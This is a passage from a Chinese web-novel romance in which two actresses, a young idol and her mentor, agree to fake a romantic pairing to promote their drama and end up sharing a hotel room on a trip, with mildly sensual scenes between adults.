祝星亦并不想跟这种人多费什么口舌，身为既得利益者还大言不惭地指责别人，还试图用道德绑架的方式pua她，她不给这女人几拳已经够意思了。 “别磨磨蹭蹭的，有话快说。”祝星亦眉头紧蹙，冷冷地截断余若的话头，“别又扯那些有的没的，说我背靠大树好乘凉，不懂你们的艰难。” 余若双手不自觉地攥成拳头，指节泛白，脸上写满不甘，提高音量道：“可你背景硬也是明摆着的事儿，你把陆仁嘉打得那么惨，到头来却毫发无损，这你敢否认？” 祝星亦轻盈转身，嘴角勾起一抹似有如无的弧度，似笑非笑地睨着余若：“哟，怎么，难不成你是想指责我有人善后，你却没这待遇？” 余若被这话噎得脸色一阵青一阵白，她缓了缓情绪才压低声道：“我就想问，苏寄欢怎么就对你这么上心？只因为你是她学生？还是你们有别的协议？” 协议？祝星亦愣了一瞬，本想脱口呛回去，可瞧见余若那副打破砂锅问到底的急切模样，心念一转，凑近余若耳畔，压低声音神秘兮兮地说：“没什么协议，不过我跟她呀，可不是单纯的师徒关系。” 余若一副“我果然猜得没错”的样子，眼中顿时飘着对祝星亦的不屑，“那你和她到底什么关系？” 祝星亦又往前凑了凑，几乎贴上余若，用只能两人听见的音量悄声道：“我都爬进她被窝了，你猜猜我和她是什么关系？” 余若像是遭了雷击，她整个人僵在原地死死盯着祝星亦，半晌才磕磕巴巴挤出一句：“你……你们……你竟用身体上位？” 祝星亦微微侧身，单手轻搭在胯边，有意无意地凸显身形曲线，挑眉反问：“不然呢？不然她为什么会这么护着我？你有房锦桐捧，我就有苏寄欢捧；你给房锦桐打工，我给苏寄欢提供价值。都是卖身，有什么区别？” 话糙理不糙，反正都是卖身，卖给谁不是卖？但余若显然难以接受，对祝星亦避而远之。 余若面露嫌恶，连退两步，目光像扫描仪似的把祝星亦从上到下打量个遍，撇嘴皱眉道：“我就说这里面有猫腻，你可真够恶心的。” “难道你很高贵？”祝星亦下巴一扬，不甘示弱地呛声，“你把自己卖给房锦桐，什么都选择不了，只能给她卖命。我爬苏寄欢的床，起码表现好点要风得风要雨得雨，要我来说，你还不如我呢。” “你！！”余若被怼得哑口无言，憋得满脸通红狠狠瞪了祝星亦一眼，转身快步离开。 祝星亦看着她的背影，心头涌起一阵畅快，亲自下场造谣的感觉真爽啊。 剧组杀青宴散了席，祝星亦又马不停蹄地赶去和Shinyfive的伙伴们相聚。眼瞅着四月份近在眼前，马上就得全心扑到《寄明月》的宣传上，队里其余四人也接了整季综艺，这场聚餐，权当是短暂分别前的小聚。 “你要和苏小姐去鸿城啊。” “嗯。”祝星亦嘴里嚼着菜，含糊应了一声，“后天就出发，去玩几天，回来正好筹备新剧宣传，往后有的忙活咯。” 费若澄搁下筷子，好心提醒：“鸿城旅游局最近猛推环城有轨列车，游客指定少不了，你们的酒店可得提前订好。” “苏老师都安排妥了。”祝星亦本想再跟苏寄欢确认下，可一想到她平日里办事稳妥细致，也就把这话咽了回去。 出发那天，苏寄欢准时到艺域公寓楼下接人。祝星亦行李简单，一个行李箱装了衣物和日用品，便再无其他。 金允声的车候在一旁，两人上车后径直驶向机场。从麓城到鸿城，航程约莫两个半小时，落地、取完行李，苏寄欢领着祝星亦朝一处出口走去。 祝星亦眯着眼张望，只见出口处站着个栗色头发的女子。 “苏小姐，星亦。”韩芸热情地挥手招呼。 苏寄欢侧身，轻声给祝星亦介绍：“这位是达尼的剧宣运营总监，韩芸。” 韩芸眉眼含笑，朝祝星亦微微点头：“星亦，你好。” “韩总监，您好。”祝星亦礼貌回应。 韩芸抬手朝远处一指：“车都备好了，方便你们出行游玩。这会儿正赶上饭点，先把行李放车上，咱们直接去餐厅，我订好位了。” “好。”苏寄欢轻轻揽过祝星亦肩头，示意她一道过去。 祝星亦心里犯起嘀咕，没料到是剧宣总监亲自接机，还安排饭局，难不成是要谈《寄明月》的事儿？怀揣着疑问，她跟着进了餐厅。 “最近鸿城游客扎堆，你们俩单独出行，千万留意安全。”韩芸一脸关切，不忘补充，“我在这儿有朋友，要是碰上难处，随时吱声。” “多谢韩总监费心。”苏寄欢真诚致谢。 菜肴上齐，三人切入正题。果然如祝星亦所料，这顿饭就是冲着《寄明月》剧宣来的。 “第二季度的剧可谓是神仙打架，麦斯tv播《辞旧赋》《南城往事》和《暗恋十五年》，曼视（曼特视频）播《梅子黄时雨》《无名凶手》……”韩芸抱着ipad汇报各大视频平台在第二季度上映的新剧。 祝星亦听了只觉得头大，怎么这么多竞争对手？ “咱们达尼要播的就是二位的《寄明月》，第二季度还有两部剧会播出，《我的边疆》和《初恋回忆》。”韩芸划拉出一个PPT给两人看，“咱们这边压苏小姐扛大梁的《寄明月》，要和《辞旧赋》和《梅子黄时雨》对打。这三部剧都是古偶，播前话题度高，所以我们这边也会全方位备战话题和流量。” “嗯，我们这边也会配合宣发。”苏寄欢深知这场流量博弈的分量，目光坚定，转头看向祝星亦。 祝星亦也点头说：“嗯，我们会好好配合。” 韩芸划开下一页继续说：“我们这边也对《寄明月》的运营做了很多策划，除了官方和艺人工作室的正常宣发外，对二位也有新的营销规划。” PPT翻到下一页，几个大字占满了屏幕。 韩芸点点那几个大字说：“这边需要你们二位卖cp。”她目光在两人身上来回扫，言辞恳切，“咱们目标就是借着cp热度，从五月新剧里强势突围，打出成绩。” “所以你们配合剧宣要做的就是，卖姬，卖cp，卖大的，卖到火爆全网，卖到人尽皆知。” 第68章 我把她看光了 祝星亦听到“卖cp”三个字，心里“咯噔”一下，脸上露出些许尴尬和犹豫的神色，她下意识地看向苏寄欢，想看看对方是什么反应。 苏寄欢倒是神色如常，“韩总监，卖cp这种营销方式确实能带来热度和流量，不过也要考虑到后续对我们自身形象等方面的影响，咱们是不是可以再斟酌斟酌别的方案呢？” 韩芸一脸严肃地解释：“苏小姐，我明白你的顾虑，但现在的市场环境就是这样，5月新剧竞争太激烈了，单靠常规宣发很难突出重围。你们俩本身在剧里的搭档就很有看点，剧外要是再卖点cp，那话题度肯定噌噌往上涨，这对《寄明月》的播放量和热度提升效果会很显著的。” 祝星亦抿了抿嘴唇，心里有些纠结，一方面她知道为了剧的宣传确实该全力以赴，可另一方面又觉得卖cp这种事有点怪怪的。 她倒不是觉得卖cp不行，关键卖姬的那个人是苏寄欢。是谁也不能是苏寄欢啊。 可若是卖cp，她便有理由和苏寄欢更亲密些，但这样真的好吗？ 和自己的老师卖姬，和自己尊敬、敬爱的人卖姬…… 无论如何，她都下不了手。 可为了配合剧宣……好像也没有别的办法了。这部剧如果不卖cp，确实没办法跟同时期的剧对打。 她轻声开口道：“韩总监，那具体要怎么个卖法？总不能太刻意了，不然观众也容易反感。” 韩芸见祝星亦有松动的迹象，脸上露出一丝笑意，赶忙说：“放心，我们肯定有合理的策划。比如在剧宣期间，你们可以多一起参加些综艺互动，在节目里适当地展现一些亲密友好的小细节，社交媒体上也偶尔发些有互动感的文案、合照之类的，不用太刻意去秀恩爱，但就是要营造出那种让人觉得你们关系很好、很般配的氛围就行。” “另外你俩这种师徒关系卖起cp会更真实点，日常相处上多多注意，比如偶尔的深情对视，互相喂个饭，或者牵个小手什么的。你们关系好，这种行为做起来应该不费力吧？”韩芸问。 深情对视、牵手、喂饭……卖cp要牺牲那么大吗？？！！ 和苏寄欢牵手、喂饭、深情……这……这怎么好意思做啊？ 祝星亦战战兢兢看向苏寄欢，却见苏寄欢沉思了一会儿，缓缓说：“那行吧，既然是为了剧好，我们可以试着配合一下，不过还是希望一切都能在合理的范围内，别太过火了，不然适得其反可就不好了。” 什么？祝星亦瞪大眼睛，苏寄欢就这么同意了？！苏寄欢真的要为这个剧做出牺牲了吗？！ 苏寄欢转头同祝星亦道：“星星，你觉得如何？” “我……”祝星亦犹豫了，真要是牵手、喂饭……那也太过火了。 她耳朵有些红，胡乱瞟了两眼别处，“我……呃，我觉得……” “工作而已，你别怕。”苏寄欢平静道。 这几个字像石头砸进祝星亦心里。 工作而已吗？这样亲密的相处，只是工作而已吗？ 祝星亦低头拽着自己的衣角，咬咬牙应道：“嗯，那就按韩总监说的办吧，希望《寄明月》能取得好成绩。” 韩芸满意地笑了笑，举起酒杯说道：“有你们二位的配合，我相信《寄明月》肯定能在5月的新剧大战中脱颖而出，来，咱们先干一杯，预祝成功！” 苏寄欢和祝星亦对视一眼，然后举起酒杯和韩芸碰了碰，一饮而尽。 祝星亦放下酒杯，抬眸看苏寄欢。苏寄欢和韩芸热切聊天，似乎真把亲密的卖姬之行当一份轻松的工作了。 苏寄欢她……真的一点都不在意吗？那可是卖姬，要卖得人尽皆知，肯定要做很多无比亲密的事，牵手喂饭根本不算什么。 她叉了口肉块，食不知味。 苏寄欢真的，不在乎吗？ 用完餐后，司机小玲送二人去酒店。祝星亦对卖cp一事还有些顾虑，“苏老师，我们真的要卖cp了吗？我觉得……” “你不会卖？”苏寄欢忽然发问。 祝星亦咋舌：“苏老师你会卖啊？” “卖cp是工作，工作自然要好好处理。”苏寄欢一脸从容，“你不会的话我来教你。” 车内光线昏黄，恰似祝星亦此刻纷杂的心绪。她满心疑惑，忍不住再度开口问：“所以苏老师你是怎么会卖cp的？” 上次苏寄欢主动提及要卖cp，彼时的她满心抵触，未曾想兜兜转转终究还是绕不过这一遭。况且，她着实没见过苏寄欢跟谁组过cp，于是追问道：“苏老师你对卖cp特别在行吗？” 苏寄欢神色淡然，轻声应道：“其实卖cp这事儿，我还真没什么经验。不过你也清楚，这说到底是工作的一部分，虽说没亲身卖过，可平日里他人谈恋爱的模样总见过吧？再者说，这也能算作表演课程的衍生内容，我熟悉后就多教教你，保准没问题。” 祝星亦听了这话，觉得苏寄欢说得确实在理。卖cp既是工作，那和演戏本质上也没太大差别，谁还没瞧见过情侣间的相处呢？ 这么一想，她那原本乱麻般的思绪稍稍理顺了些，微微点头应下：“行，那我期待苏老师的教学。” 苏寄欢微微侧身，面庞隐没在暗影里，唯有一只手缓缓探出，打破车内略显沉闷的静谧。 祝星亦的目光径直落在那只手上，不明就里。 这时苏寄欢的声音悠悠响起，缥缈却清晰：“那现在，教学开场，你来握住我的手。” 祝星亦看着这只修长的手犹豫了，苏寄欢朝她扬了扬下巴道：“你搭上我的手就是握手了，这应该不难吧？” “不难，但……”祝星亦攥紧拳头始终不肯抬起自己的手。 祝星亦的视线胶着在苏寄欢修长白皙的手上，手指不自觉地蜷缩，攥紧了拳头，迟迟不愿抬起。 虽说理智不断提醒她，卖cp不过是工作需要，可卖姬对象是苏寄欢，她总有诸多顾虑。 苏寄欢于她而言，是悉心教导的恩师，是满心敬慕的长辈，更是…… 想到这儿，祝星亦顿住了，脑海里一时空白，只剩满心彷徨。 她还在出神，冷不丁手被一股轻柔却不容抗拒的力量握住，紧接着十指交缠，严丝合缝。 苏寄欢的声音再次于耳畔响起：“这样便是牵手了，不过这只是入门功夫，往后我找韩芸要些卖cp的详细策划，多学学旁人的路数，等我融会贯通，再多多教你。” 言罢，苏寄欢稍稍加重了手上的力道，掌心的温热源源不断传递而来。 “苏老师……我……”祝星亦试图抽回手，却发觉根本动弹不得，只能任由这般亲昵姿态维持着。 待到酒店门口，苏寄欢的手依旧没有松开的迹象，祝星亦愈发局促不安，忙不迭小声说道：“苏老师，这会儿没在工作，就别……” 苏寄欢像是料到她会开口，手一松，爽快应道：“行。” 手骤然脱离温热的掌心，祝星亦心头竟没来由地泛起一丝空落。 踏入酒店大堂，她快走几步，赶上苏寄欢，轻声问道：“苏老师，咱们订的什么房？” 苏寄欢身形一顿，面上闪过一丝懊恼，略带歉意地说道：“瞧我这记性，一心想着住这家酒店，却忘了提前预订。” 说罢，径直走向前台询问。前台工作人员查看一番后，客客气气地回复：“不好意思，眼下只剩一间大床房了。” 祝星亦下意识扯了扯苏寄欢的衣角，小声嘟囔：“苏老师，要不咱换一家吧。” 苏寄欢却满不在乎地摆摆手，掏出身份证递过去：“来来回回折腾太麻烦，这儿离咱们游玩的地儿近，方便你多睡会儿懒觉。就订这大床房吧。” 说着，还抬手轻拍祝星亦肩头，“把你身份证也给我。” 祝星亦头垂得更低，声若蚊蝇：“可是……大床房……我……” “嗯？你是不愿意跟我住一块儿？”苏寄欢挑眉，面上看不出情绪波动。 祝星亦心下暗忖，这般直白拒绝似乎不妥，咬咬牙硬着头皮回道：“当然不是，我是怕你介意。” “这有什么好介意的？不过是睡在一处罢了，除夕夜咱们不还睡一个被窝？” “可那是……算了。”祝星亦竟不知该如何拒绝。 苏寄欢接过身份证递给前台，办理好入住手续拿回身份证时，目光扫到祝星亦证件照，嘴角不自觉上扬，打趣道：“你这照片什么时候拍的？” 照片里的祝星亦青涩稚嫩，眉眼间满是未经世事的纯真，瞧着极为乖巧。 祝星亦见状，赶忙拿回身份证低声说：“高二那会儿拍的，模样不好看，过阵儿得换了。” “挺好看的。”苏寄欢凑近她身旁，轻声说道，“我觉得很可爱。” 办好入住，两人拖着行李箱走向电梯。祝星亦拉着箱子，闷声说：“我不可爱，我不太喜欢这个词，这个词有点贬义。” “你怎么会这么想？”苏寄欢问。 “小狗小猫才可爱，那我是小狗小猫吗？” 苏寄欢忽然笑出声，缓缓了道：“可我觉得这个词是对一个人极高的赞美，比如这个词可以用在……” 顿了顿，她没继续说，反问：“那你希望我用什么词形容你？” 祝星亦歪着头想了半晌，终究没憋出个好词，泄了气般叹道：“罢了罢了，可爱就可爱吧。” “这就算承认了？”苏寄欢抿着唇，眼角眉梢都是笑意。 祝星亦只觉脸颊滚烫，“我可没承认，苏老师您就别打趣我了。” “哪是打趣，我说的句句属实，星星，你就是可爱。”苏寄欢眨眨眼，眸子里亮晶晶的。 这一瞬，祝星亦只觉心跳陡然漏了一拍，脑海一片空白。 “叮”的一声，电梯门应声而开，两人步入608房。苏寄欢用房卡打开房门，行李箱滚轮在地毯上轱辘作响。 这间大床房看着颇为宽敞，稍作收拾后苏寄欢看了眼时间，已是将近九点。 她弯腰从行李箱掏出换洗衣物和睡衣，扭头瞧见祝星亦还在整理衣服，轻声说：“星星，我先去洗澡了，你慢慢收拾。” 祝星亦头也不抬道：“好，你先去吧。” 不多时，浴室里传来淅淅沥沥的水声。祝星亦挂好衣物，趿拉着拖鞋把行李箱塞到桌下，目光无意间扫向浴室。 磨砂玻璃后，苏寄欢洗浴的身影影影绰绰看不真切。祝星亦仿若被一股莫名力量牵引，脚步不受控制地朝浴室挪去。 待到近前她才发现浴室门没有锁，只要指尖轻触门板，轻轻一推便能打开。 耳边淋浴声愈发清晰，仿若一记重锤敲醒了祝星亦混沌的意识。她猛地回过神慌乱转身，疾步奔回床边后紧紧抱住自己的睡衣，大气都不敢出。 她静静等着苏寄欢洗完澡，偏巧这时视线一转，瞧见床边苏寄欢叠放得整整齐齐的睡衣和内衣裤。 苏寄欢的内衣和内裤都是黑色蕾丝花边款式，内衣细细的带子仿若精致的丝线，透着丝丝魅惑；洁白睡袍铺在一旁，圣洁而素雅。 祝星亦下意识低头看向自己的衣物，除了睡裙，手里仅有一条内裤。她这才恍然记起，她平日里睡觉向来只穿内裤、套上睡衣就行，可如今与苏寄欢同住一室，显然不能这般随意。 她赶忙翻找出内衣拿在手里坐好，但视线又不受控制地落在苏寄欢的内衣上。 她咬着下唇，鬼使神差般拎起苏寄欢的黑色内衣，悄悄在胸前比了比，又跟自己的内衣比了比。 这样看来，苏寄欢的尺寸是36D，自己的是34C。 “得比我大一个罩杯呢。”摸着这个乳。罩，祝星亦自言自语着，耳朵有点发烧。 正比划着，浴室里传来苏寄欢的声音：“星星，我忘拿衣服了，帮我递一下。” 祝星亦手一抖，慌乱丢下内衣，高声应道：“好，马上！” 她手忙脚乱抱起苏寄欢的睡衣和内衣，快步走到浴室门口，抬手敲门。 门被拉开了，祝星亦低着头半眯着眼，伸手往门缝里塞衣服。奈何门缝太窄，衣物卡在半途，进退不得。 如此反复，苏寄欢透过门缝往外看，目光扫到祝星亦绯红如霞的耳垂，手悬在衣服上方并未接过，反倒往前一步，身子探出些许，随后，一手拉开了浴室门。 她的身子未用浴巾遮挡，径直伸手握住祝星亦的手腕。 祝星亦受惊抬头，这一抬眼，苏寄欢不着寸缕的模样毫无保留地映入眼帘。 湿发垂在莹白如玉的肌肤上，饱满的丰盈，纤细的腰肢，再往下…… “啊！”祝星亦惊呼出声，双手一松衣物散落一地，她整个人踉跄后退，一屁股跌坐在地上。 她一时间忘记闭眼，直愣愣地盯着苏寄欢的身子看。 苏寄欢神色如常，仿若什么都没发生，长腿一迈跨出浴室，弯腰伸手欲拉祝星亦起身。 这一弯腰，丰盈垂落晃动，盯着，祝星亦只觉一股热血直冲脑门，她慌乱抬手捂住脸，连滚带爬逃离浴室门口。 “你慢点，别磕着！”苏寄欢从容捡起地上衣物，对着把脸深埋在床上的祝星亦高声喊道：“刚没摔着吧？” 祝星亦抱着头，声音带着几分颤抖：“没有！” 苏寄欢嘴角噙着一抹浅笑，轻轻关上浴室门。 祝星亦头埋在被子上，整个人身子一直在抖。 看到了，她全都看到了。但苏寄欢的反应也太……也太…… 祝星亦捂着脸坐起来，不行，不能想，不能再想了。 苏寄欢洗完出来，看祝星亦坐在地上抱着头，忙过去问：“你怎么了？” “啊？没有，没有啊。”祝星亦头都不敢往一旁扭。 “没怎么？”苏寄欢跟着蹲下身子，“没怎么，你脸怎么那么红？” 瞧见苏寄欢蹲下，祝星亦慌忙往一边爬了爬。 苏寄欢却一手拽起她，“是觉得看我身子害羞了？” 祝星亦面红耳赤地绷紧嘴。 苏寄欢摇头叹道：“这有什么可害羞的？你没见过女人的身子？” 这话问得祝星亦想钻地缝里，“二者，不可混为一谈。” “我觉得没什么可害羞的，你习惯就好。”苏寄欢看她太难为情，怕把人吓坏了，忙松开她的手。 习……习惯？习惯什么？祝星亦揉揉手腕，仓促地抱起自己的衣物，“我要去洗澡了。” 走两步，苏寄欢喊住她：“这个你忘记拿了。” 祝星亦转身，双眼忽然瞪大。 她的乳。罩被苏寄欢勾在手里。 “谢……谢谢……”祝星亦咬着牙快速拿回乳。罩钻进浴室。 不是吧，苏寄欢怎么……怎么会这么自然地面对这种事……被看光了居然毫无反应？？？ 这叫稳如老狗吗？ 带着羞赧，祝星亦洗漱完吹干头发，瞧见坐在书桌前对着笔记本电脑忙碌打字的苏寄欢，手指绞着衣角踌躇半晌，小声说：“苏老师，我觉得咱俩住一间不太方便，要不……” “明天换房是吧？”苏寄欢手指不停，抽空问道，“换个套间，还是开两间房？都行，都依你。” 祝星亦没料到她答应得这般爽快，微微颔首，转身欲走。 “等等。”苏寄欢出声叫住她，“你来瞧瞧韩芸发的方案。” 祝星亦依言上前探头张望，苏寄欢起身让座。 屋内只有一把椅子，祝星亦坐下后，苏寄欢站在她身旁耐心讲解这个案子：“咱来鸿城游玩还没发微博动态呢，正好趁这机会不动声色地卖一波。” 说着，手指轻点电脑屏幕上的ppt某一页。 她微微弯腰，睡袍领口敞开些许，香气从胸口散发。祝星亦本就心神不宁，目光不经意间扫向她微敞的领口，只觉那片肌肤白皙软糯，一时间有些失神。 苏寄欢似有所察，于是身子稍稍前倾，低眸瞧见她走神的模样，嘴角勾起一抹玩味弧度，愈发凑近，轻声说：“所以今晚要拍几张照片发动态，比如咱俩的私人物品同框，你的衣服、小物件都行。” 祝星亦回神，仰头问：“可这样做，会不会显得太刻意了？” 苏寄欢轻笑出声，手轻搭在她肩头柔声道：“这算刻意吗？咱实打实住在一间房里，不过是如实记录罢了。” 肩头微微一沉，祝星亦能真切感受到那点重量，她坐着，苏寄欢站着，这般姿势莫名让她压力陡增。 “今晚就发动态吗？你发还是我发？”祝星亦满心茫然，她对卖cp毫无头绪，满心期许苏寄欢能拿个主意。 苏寄欢捏了捏她肩头，“我发吧，我好些日子没更新动态了。等下麻烦你给我拍几张照片，可以吗？” “那我给你拍照，不就等于明示……” 苏寄欢点头应道：“没错，就明示是你拍的。” “可是……” “嗯？这是事实，算不上刻意炒作吧？” 祝星亦略一思忖，觉得这话确实有理，轻声嘟囔：“也是，不算胡编乱造。” 苏寄欢抿嘴笑，手臂顺势揽住祝星亦肩头，还将她往怀里带了带，“星星，既然都决定卖cp了，那些琐碎细节就别纠结了。到时候韩芸自会安排职粉运营咱们这对cp，而我们只需要把效果呈现出来，无论是大的还是小的，好好呈现就行。她们那边运营得比较成熟，我们就不用管了。” 被苏寄欢动作带着，祝星亦半个身子靠在她胸前。 好柔软，好香，祝星亦感觉自己的脸要埋进去了。她僵着身子任由苏寄欢揽着，闭眼缩头小声应道：“行，我全力配合。” 苏寄欢见祝星亦答应便松开了手，开始在房间里找合适拍照的背景和角度。祝星亦则拿起佳能R3调试着，心里却还在为略显暧昧的状况而有些慌乱。 往日她和苏寄欢保持距离，两人都是性取向为女，虽说她对苏寄欢多有依赖，但念着对方是自己的老师，她言谈举止颇为尊敬。 不过苏寄欢倒是不在意这些东西，无论聊天也好，互动也好，都对祝星亦亲密得很。但祝星亦脑子清醒，知道那只是长辈对晚辈的关爱。 但现下两人要卖cp，她就无法直视这些亲密动作了。 还有，住在同一间房，睡同一张床，这……这更无法直视了。 想到两人要睡同一个被窝……那不就是同床共枕了？而且刚刚她还看到苏寄欢的不着寸缕的身子……这…… 这也太大不敬了！ 和老师卖cp，看老师光溜溜的身子，还要和老师一起睡觉。这这，这怎么样都很不道德啊！ 可是如果一直抱着这个想法，那cp怎么卖啊？祝星亦想到韩芸说的卖cp，额上顿时怕到添了一层汗珠。 不行不行，一直把苏寄欢当成不可亵渎的老师，这cp真的卖不成功，那《寄明月》就别想从5月的剧里脱颖而出了。 要敬业要敬业，一定要敬业，卖cp又掉不了肉，顶多举止亲密些。把卖cp当作演艺事业的一部分，卖完及时抽身，及时出戏，那就不会有太大问题。 祝星亦拍拍自己的脸，想清楚之后深呼一口气。 敬业，敬业……要卖到人尽皆知，要让她们磕疯了，要卖大的，要卖到《寄明月》杀出去。 “星星，这边好像不错，能看到那个古塔，你过来看看。”苏寄欢站在窗边招呼着。 祝星亦走过去看，这个角度是挺好看，很适合拍照。她举着相机比画了几下，“苏老师，你稍微侧一点身，对对，就这样，很好看。” 苏寄欢按照祝星亦的指示摆着姿势，偶尔还会问上一句：“这样可以吗？会不会太僵硬了呀？” “不会，苏老师你本来就很美，怎么拍都好看呢。”话一出口，祝星亦才发觉自己这话好像有点过于直白了，脸一下子红了起来。 苏寄欢倒是没在意，笑着打趣道：“那可得多拍几张。” 拍了好几张后，苏寄欢又提议：“星星，咱们也拍几张合照，当留个纪念。” 祝星亦犹豫了一下，还是点头答应了。找了个位置架好相机后，她刚走到苏寄欢身边，苏寄欢很自然地揽住她的腰。 睡衣很薄，苏寄欢温热的指按在她腰上，烫得她有点不适。 “苏……”感受着奇异的反应，祝星亦动作僵硬起来。 苏寄欢没放开她，还故意收紧了许多，歪头问：“怎么了？你腰很敏感？碰不得？” “没有！”祝星亦否认。 苏寄欢轻捏着祝星亦的腰嗯了一声，“那你站好，我们多拍几张。” “好。” 拍完后，祝星亦赶忙从苏寄欢怀里退出来，假装低头看照片掩饰自己的窘迫。苏寄欢满意得很，传了照片便开始编辑微博动态，三两下发了出去。 “反馈先不用管，到时候她们自己会找糖磕，我们把戏做足就好。”忙活了半天苏寄欢也有点累了，伸了个懒腰打着哈欠冲祝星亦招手，“星星，来休息吧，别耽误明天玩儿。” 祝星亦应了一声，跟着爬到床上。 苏寄欢已经躺进被窝里了，祝星亦磨蹭很久，才慢吞吞掀开被子坐进去。 刚坐进去，苏寄欢关掉了大灯，只留了床头天花板的灯。 这排灯光一亮，屋子里的氛围立马上来了，祝星亦抠着手指头低头看被子，声音含糊不清，“现在就要睡了吗？” 苏寄欢转过身子，衣料和被子摩挲出轻微的声响，她的脸被乌发包裹着，有些困倦的眼透着母性温柔。 她轻声说：“如果不睡觉的话，那我们做什么？” 祝星亦没话说，抓着被子抓了会儿问：“苏老师，我问你一个问题？” “你问。” “你性取向真的为女吗？怎么感觉不像？” 苏寄欢听到这个问题，整个人如被打捞上来的鱼从被窝里滑坐起来，她的脸青一阵白一阵，随后发出有些变调的声音：“我哪里不像了？” 第69章 我们的粉丝 祝星亦觉得苏寄欢哪哪都不像真姬，比如毫无边界感，比如对两个人睡在同一张床上毫不介意，又比如很多时候开的玩笑。 对于苏寄欢是不是真姬的事，祝星亦疑惑过很多次，性取向为女肯定会对同性更有边界感。 譬如祝星*亦，她对这些事分得很清，她喜欢女人，她便不会跟女性有过多的亲密接触，如果不是因为工作需要，她都不会轻易跟别人卖姬，她觉得这种想法和行为才是正常的。 倒是苏寄欢奇怪得很，不介意牵手，不介意卖cp，不介意亲密接触，甚至不介意两个女人睡在同一张床上。 更可怕的是，她竟然不介意光着身子被其他女生看见。 祝星亦歪着身子凑到一言不发的苏寄欢面前问：“苏老师，你该不会是直女吧？” 苏寄欢的眼忽然从疑惑到释然，很快，一个分辨不出意味的笑攀爬到她唇角，她问：“你很介意我真实的性取向吗？” 祝星亦把被子往上拉拉说：“如果你是直女装姬，我肯定介意，这就代表你之前都在故意撩我。直女的把戏嘛，我知道的。” “撩？”苏寄欢歪了下身子凑近祝星亦，笑说：“何来撩？我怎么没意识到，你可以举点例子。” 苏寄欢声音太过冷静自然，祝星亦一时之间也不确定了。她怕那些疑惑源自她的自作多情，赶紧钻进被窝里哼哼一句：“你当我没问过你。” “你既然问了，那就不能当作疑问没有发生。”苏寄欢说，“不过我还真没有故意撩过你，还是说是你觉得有些行为是撩？” 祝星亦后悔问这个问题，她不知道如何回答，给出肯定的答案只会让苏寄欢觉得她自恋，给出否定的答案会让她自己更加疑惑。 她身子往被窝里缩了缩，假装没听见。 紧闭双眼后，她听到苏寄欢说：“我肯定是喜欢女人的，至于你说的撩……你若觉得是，那就是，你若觉得不是，那就不是。但假如那确确实实是撩的话，你心动过吗？” 祝星亦抓着被子睁开眼睛，她听到自己震耳欲聋的心跳声，却没听到自己开口回答什么。 春夜漫长，房间回归寂静无声。 早上醒来苏寄欢已经点好了外卖，出乎意料地，两人没有就着昨天的话题聊什么。 苏寄欢发的那篇动态又上了热搜，祝星亦摸到手机时就被推送了热搜。她点开看评论前排，也没什么特别的留言。 苏寄欢让她不用着急看这些反馈，毕竟还没有正式剧宣，韩芸那边没有开始运营。但苏寄欢已经把发动态的事汇报给韩芸，让韩芸那边的职粉记得做记录。 祝星亦这时候才意识到苏寄欢真的把卖cp当工作了，她咬了口牛肉饼坐直身子问：“苏老师，你能不能给我安排点工作？” “安排工作？” “对。”祝星亦说，“你发了个动态，那我是不是也要发点东西？” “先不用。”苏寄欢说，“足够隐晦的东西才能让她们磕得尽兴，你先吃饭，有需要你做的我会通知你。我们今天先去宜湾小镇，明天去坐环城有轨列车，后天……” 苏寄欢做的攻略多，事事都安排得很详细，祝星亦掰掰手指头算了算，按照这个规划，两人在鸿城最多待四天。 “你觉得四天很短吗？”苏寄欢问。 祝星亦拿纸巾擦擦手，瞥向在笔记本上敲敲打打的苏寄欢，顿了顿道：“我觉得，还好。” “今天去看看有没有空房间可以住，我们出门的时候问一问。” “好。” 问了前台，前台说下午两点后有房间可以换，也是一间大床房，在二楼。两个人开两间大床房，一个在四楼一个在二楼，隔得有点远了。 “你觉得怎么样？”苏寄欢问。 “我觉得……行。” “我去二楼住，咱们今天逛完回来我搬出去。”苏寄欢拿出自己的身份证预订房间。 搬出去？ 祝星亦莫名联想到是自己把苏寄欢赶出去，眼看着前台登记信息，她张张嘴要说什么，最终还是选择沉默。 小玲开车送两人去宜湾小镇，离小镇越近，路两旁的花树越多，直到眼睛被粉色的樱花和海棠占满，抬头望，海盐色世界从天空倾泻下来。 路两旁是造型奇异的彩色建筑，沿着笔直的小径一路下坡直抵海边。巨大的灯塔矗立在远处的古堡附近，祝星亦下车后抱着相机跑了两步。 她感受着海风和来自春天的心跳，马上转头冲苏寄欢挥手：“苏老师，你过来！” 苏寄欢快步走了过来，祝星亦把相机交给她，给她指了个方向，“苏老师，我往那边跑，你给我抓拍。” “行。” 祝星亦往古堡和灯塔的方向跑，跑了不知道多久，她的手掌拢成喇叭状：“苏老师，你拍好了没？” “好了！”苏寄欢又按下快门，她放下相机，笑着跟远处的小狐狸说：“你回来吧！” 祝星亦查看照片，苏寄欢拍得很好，光线构图都很专业。她低着头看了又看，仰着脸抬头夸赞：“苏老师，你也太会拍了。” 海风有些大，她背着风站着，风把她头发吹得乱七八糟。苏寄欢沉静地看了她一会儿，抬头为她拨开纷乱的发。 祝星亦蓦然怔住。 她望着这双盛满海水的眼，迎接慈悲、怜爱、温柔的目光，想起昨晚苏寄欢说的那句【但假如那确确实实是撩的话，你心动过吗？】。 如果这确确实实是撩的话，她心动过吗？ “怎么了？”苏寄欢问。 祝星亦摇头，“没什么，苏老师我也给你拍几张。” “好。” 次日去坐环城有轨列车，祝星亦起了个大早，苏寄欢已经搬到二楼住。 祝星亦简单收拾后快速去二楼找苏寄欢。 “昨晚睡得怎么样？”去往有轨列车的路上，苏寄欢跟祝星亦搭话。 祝星亦点点头：“挺好的，昨天白天奔波得久，晚上很快就睡着了。” “你睡得好就行。”苏寄欢低头看手机，“韩芸说我们的微博互动太少了，最近我们可以去对方微博下多留言或者点赞。” 祝星亦赶忙说：“我平时有给你点赞，我也会拿小号给你吹彩虹屁。” 她点开自己的小号给苏寄欢看，“你看，我每次都会收到你粉丝的赞。” 苏寄欢道：“行，那这边正常互动就好。不过你有很多小号吗？如仪之前说有三十多个号，真是好奇一个人怎么会注册那么多账号。” 祝星亦回答：“我就一个小号，之前注销了，又重新注册了。” “为什么会注销？” 祝星亦被这话问得发虚。 她之前注销账号是因为她骂苏寄欢太难听，被苏寄欢的粉丝炸号了。 那时候她还很反感苏寄欢这个营销咖，后来发现苏寄欢除了拍戏和工作什么都不管，营销都是苏芙那边安排的，她对当初不理智的行为深感抱歉。 像苏寄欢这种大忙人怎么有闲心管营销的事呢？想也知道是苏家那边做的。 